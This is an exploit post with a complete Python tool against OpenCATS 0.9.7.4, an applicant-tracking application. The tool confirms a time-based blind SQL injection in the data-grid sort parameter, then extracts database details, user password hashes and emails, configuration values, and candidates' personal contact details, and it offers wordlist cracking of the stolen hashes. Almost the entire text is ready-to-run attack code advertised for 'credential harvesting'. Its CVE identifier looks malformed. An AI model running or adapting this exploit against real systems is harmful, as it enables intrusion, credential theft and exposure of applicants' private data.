📄 OpenCATS 0.9.7.4 Time-Based Blind SQL Injection

==================================================================================================================================
    | # Title     : OpenCATS 0.9.7.4 Time-Based Blind SQL Injection Exploit Data Extraction Tool                                     |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://github.com/opencats/OpenCATS                                                                             |
    ==================================================================================================================================
    
    [+] Summary    :  This script targets a suspected SQL injection vulnerability in OpenCATS 0.9.7.4 by exploiting a time-based blind SQL injection technique.
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import requests
    import json
    import sys
    import time
    import argparse
    import hashlib
    import urllib3
    from datetime import datetime
    from typing import Optional, Dict, List, Tuple
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    class OpenCATSSQLi:
        def __init__(self, url: str, username: str = "admin", password: str = "cats", delay: float = 1.5, verbose: bool = False):
            self.base_url = url.rstrip('/')
            self.username = username
            self.password = password
            self.delay = delay
            self.verbose = verbose
            self.session = requests.Session()
            self.authenticated = False
            self.baseline_time = 0
        def log(self, msg: str, level: str = "INFO"):
            timestamp = datetime.now().strftime("%H:%M:%S")
            if level == "SUCCESS":
                print(f"\033[92m[{timestamp}] [+] {msg}\033[0m")
            elif level == "ERROR":
                print(f"\033[91m[{timestamp}] [-] {msg}\033[0m")
            elif level == "WARNING":
                print(f"\033[93m[{timestamp}] [!] {msg}\033[0m")
            elif level == "DEBUG" and self.verbose:
                print(f"\033[94m[{timestamp}] [*] {msg}\033[0m")
            else:
                print(f"\033[96m[{timestamp}] [*] {msg}\033[0m")
        def authenticate(self) -> bool:
            """Authenticate to OpenCATS"""
            self.log(f"Authenticating as {self.username}")
            try:
                self.session.get(f"{self.base_url}/index.php")
                response = self.session.post(
                    f"{self.base_url}/index.php?m=login&a=attemptLogin",
                    data={
                        "username": self.username,
                        "password": self.password
                    },
                    allow_redirects=True
                )
                if response.status_code == 200 or response.status_code == 302:
                    if "Invalid" not in response.text and "login" not in response.url:
                        self.authenticated = True
                        self.log("Authentication successful", "SUCCESS")
                        return True
                    else:
                        self.log("Authentication failed - invalid credentials", "ERROR")
                        return False
                self.log(f"Authentication failed with status {response.status_code}", "ERROR")
                return False
            except Exception as e:
                self.log(f"Authentication error: {e}", "ERROR")
                return False
        def send_sqli_request(self, payload: str, timeout: int = 10) -> float:
            """Send SQL injection payload and measure response time"""
            params = {
                "f": "getDataGridPager",
                "i": "candidates:candidatesListByViewDataGrid",
                "p": json.dumps({
                    "sortBy": "dateModifiedSort",
                    "sortDirection": payload,
                    "rangeStart": 0,
                    "maxResults": 15
                })
            }
            start_time = time.time()
            try:
                response = self.session.get(
                    f"{self.base_url}/ajax.php",
                    params=params,
                    timeout=timeout
                )
                elapsed = time.time() - start_time
                if self.verbose:
                    self.log(f"Request took {elapsed:.3f}s", "DEBUG")
                return elapsed
            except requests.exceptions.Timeout:
                elapsed = time.time() - start_time
                self.log(f"Request timeout after {elapsed:.3f}s", "DEBUG")
                return elapsed
            except Exception as e:
                self.log(f"Request error: {e}", "DEBUG")
                return time.time() - start_time
        def get_baseline(self) -> float:
            """Get baseline response time"""
            normal_time = self.send_sqli_request("DESC")
            self.baseline_time = normal_time
            self.log(f"Baseline response time: {normal_time:.3f}s")
            return normal_time
        def is_vulnerable(self) -> bool:
            """Check if target is vulnerable to time-based blind SQL injection"""
            self.log("Testing for SQL injection vulnerability...")
            baseline = self.get_baseline()
            sleep_time = self.send_sqli_request(f"DESC,SLEEP({self.delay})")
            self.log(f"Response time with SLEEP: {sleep_time:.3f}s")
            if sleep_time > baseline + (self.delay * 0.6):
                self.log("Target is VULNERABLE to time-based blind SQL injection!", "SUCCESS")
                return True
            else:
                self.log("Target does not appear vulnerable", "ERROR")
                return False
        def blind_condition(self, condition: str) -> bool:
            """Execute blind SQL condition and return result"""
            payload = f"DESC,IF(({condition}),SLEEP({self.delay}),0)"
            response_time = self.send_sqli_request(payload)
            return response_time > self.baseline_time + (self.delay * 0.6)
        def extract_string(self, query: str, max_length: int = 100) -> str:
            """Extract string using binary search"""
            result = ""
            length = 0
            for i in range(1, max_length + 1):
                if self.blind_condition(f"LENGTH(({query})) < {i}"):
                    length = i - 1
                    break
                length = i
            self.log(f"Length: {length}")
            for pos in range(1, length + 1):
                lo, hi = 32, 126  # Printable ASCII range
                while lo < hi:
                    mid = (lo + hi) // 2
                    if self.blind_condition(f"ORD(SUBSTRING(({query}), {pos}, 1)) > {mid}"):
                        lo = mid + 1
                    else:
                        hi = mid
                result += chr(lo)
                self.log(f"Progress: {pos}/{length} -> {result}", "DEBUG")
            return result
        def extract_integer(self, query: str) -> int:
            """Extract integer using bit extraction"""
            result = 0
            for bit in range(32):
                if self.blind_condition(f"(({query}) >> {bit}) & 1 = 1"):
                    result |= (1 << bit)
            return result
        def get_database_info(self) -> Dict:
            """Extract database information"""
            self.log("Extracting database information...")
            info = {
                "version": self.extract_string("@@version", 30),
                "database": self.extract_string("DATABASE()", 30),
                "user": self.extract_string("USER()", 30),
                "hostname": self.extract_string("@@hostname", 50)
            }
            self.log(f"MySQL Version: {info['version']}")
            self.log(f"Database: {info['database']}")
            self.log(f"User: {info['user']}")
            return info
        def get_users(self) -> List[Dict]:
            """Extract user credentials"""
            self.log("Extracting user credentials...")
            users = []
            user_count = self.extract_integer("SELECT COUNT(*) FROM user")
            self.log(f"Found {user_count} user(s)")
            for i in range(user_count):
                user = {
                    "username": self.extract_string(f"SELECT user_name FROM user ORDER BY user_id LIMIT {i},1", 40),
                    "access_level": self.extract_integer(f"SELECT access_level FROM user ORDER BY user_id LIMIT {i},1"),
                    "password_hash": self.extract_string(f"SELECT password FROM user ORDER BY user_id LIMIT {i},1", 64),
                    "email": self.extract_string(f"SELECT email FROM user ORDER BY user_id LIMIT {i},1", 60)
                }
                users.append(user)
                self.log(f"User {i+1}: {user['username']} (level: {user['access_level']})")
                self.log(f"  Hash: {user['password_hash']}")
            return users
        def get_candidates(self, limit: int = 20) -> List[Dict]:
            """Extract candidate information"""
            self.log("Extracting candidate information...")
            candidates = []
            candidate_count = self.extract_integer("SELECT COUNT(*) FROM candidate")
            self.log(f"Found {candidate_count} candidate(s)")
            extract_count = min(candidate_count, limit)
            self.log(f"Extracting {extract_count} candidates...")
            for i in range(extract_count):
                candidate = {
                    "first_name": self.extract_string(f"SELECT firstName FROM candidate ORDER BY candidateId LIMIT {i},1", 30),
                    "last_name": self.extract_string(f"SELECT lastName FROM candidate ORDER BY candidateId LIMIT {i},1", 30),
                    "email": self.extract_string(f"SELECT email FROM candidate ORDER BY candidateId LIMIT {i},1", 50),
                    "phone": self.extract_string(f"SELECT phoneHome FROM candidate ORDER BY candidateId LIMIT {i},1", 20),
                    "company": self.extract_string(f"SELECT company FROM candidate ORDER BY candidateId LIMIT {i},1", 50)
                }
                candidates.append(candidate)
                self.log(f"Candidate {i+1}: {candidate['first_name']} {candidate['last_name']} - {candidate['email']}")
            return candidates
        def get_config(self) -> Dict:
            """Extract configuration settings"""
            self.log("Extracting configuration...")
            config = {}
            config_keys = [
                'site_name', 'site_url', 'admin_email', 'language',
                'timezone', 'date_format', 'currency', 'company_name'
            ]
            for key in config_keys:
                value = self.extract_string(f"SELECT value FROM config WHERE setting = '{key}' LIMIT 1", 100)
                if value:
                    config[key] = value
                    self.log(f"{key}: {value}")
            return config
        def run_full_extraction(self) -> Dict:
            """Run complete data extraction"""
            self.log("Starting full data extraction...")
            
            data = {
                "database_info": self.get_database_info(),
                "users": self.get_users(),
                "config": self.get_config(),
                "candidates": self.get_candidates(),
                "timestamp": datetime.now().isoformat()
            }
            self.log("\n" + "=" * 60, "SUCCESS")
            self.log("EXTRACTION COMPLETE!", "SUCCESS")
            self.log("=" * 60)
            self.log(f"Database: {data['database_info']['database']}")
            self.log(f"MySQL Version: {data['database_info']['version']}")
            self.log(f"Users: {len(data['users'])}")
            self.log(f"Candidates: {len(data['candidates'])}")
            self.log(f"Config items: {len(data['config'])}")
            return data
        def crack_hashes(self, hashes: List[str], wordlist: str = None) -> Dict:
            """Attempt to crack password hashes"""
            results = {}
            for user_hash in hashes:
                if len(user_hash) == 32:
                    hash_type = "MD5"
                elif len(user_hash) == 40:
                    hash_type = "SHA1"
                else:
                    hash_type = "Unknown"
                results[user_hash] = {"type": hash_type, "cracked": None}
                if wordlist:
                    self.log(f"Cracking hash {user_hash[:16]}...")
                    with open(wordlist, 'r', encoding='latin-1') as f:
                        for word in f:
                            word = word.strip()
                            if hashlib.md5(word.encode()).hexdigest() == user_hash:
                                results[user_hash]["cracked"] = word
                                self.log(f"Found: {word}", "SUCCESS")
                                break
            return results
    def banner():
        print("""
    ╔══════════════════════════════════════════════════════════════════╗
    ║  OpenCATS 0.9.7.4 - Time-Based Blind SQL Injection             ║
    ║  Data Extraction & Credential Harvesting                        ║
    ╚══════════════════════════════════════════════════════════════════╝
        """)
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-1970574 - OpenCATS SQL Injection Exploit"
        )
        parser.add_argument("-u", "--url", required=True, help="OpenCATS base URL")
        parser.add_argument("--user", default="admin", help="OpenCATS username (default: admin)")
        parser.add_argument("--pass", dest="password", default="cats", help="OpenCATS password (default: cats)")
        parser.add_argument("-d", "--delay", type=float, default=1.5, help="Time delay for blind injection (default: 1.5)")
        parser.add_argument("-o", "--output", help="Output file for extracted data (JSON)")
        parser.add_argument("--crack", help="Wordlist for password cracking")
        parser.add_argument("--extract", choices=["all", "users", "config", "candidates"], 
                            default="all", help="What to extract (default: all)")
        parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
        args = parser.parse_args()
        banner()
        exploit = OpenCATSSQLi(args.url, args.user, args.password, args.delay, args.verbose)
        if not exploit.authenticate():
            sys.exit(1)
        if not exploit.is_vulnerable():
            sys.exit(1)
        data = {}
        if args.extract in ["all", "users"]:
            data["users"] = exploit.get_users()
        if args.extract in ["all", "config"]:
            data["config"] = exploit.get_config()
        if args.extract in ["all", "candidates"]:
            data["candidates"] = exploit.get_candidates()
        if args.extract == "all":
            data["database_info"] = exploit.get_database_info()
        if args.crack and data.get("users"):
            hashes = [u["password_hash"] for u in data["users"] if u.get("password_hash")]
            cracked = exploit.crack_hashes(hashes, args.crack)
            data["cracked_passwords"] = cracked
        if args.output:
            import json
            with open(args.output, 'w') as f:
                json.dump(data, f, indent=2)
            print(f"\n[*] Data saved to {args.output}")
        print("\n" + "=" * 60)
        print("[*] Exploit completed")
        print("=" * 60)
    if __name__ == "__main__":
        try:
            main()
        except KeyboardInterrupt:
            print("\n[!] Interrupted by user")
            sys.exit(0)
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================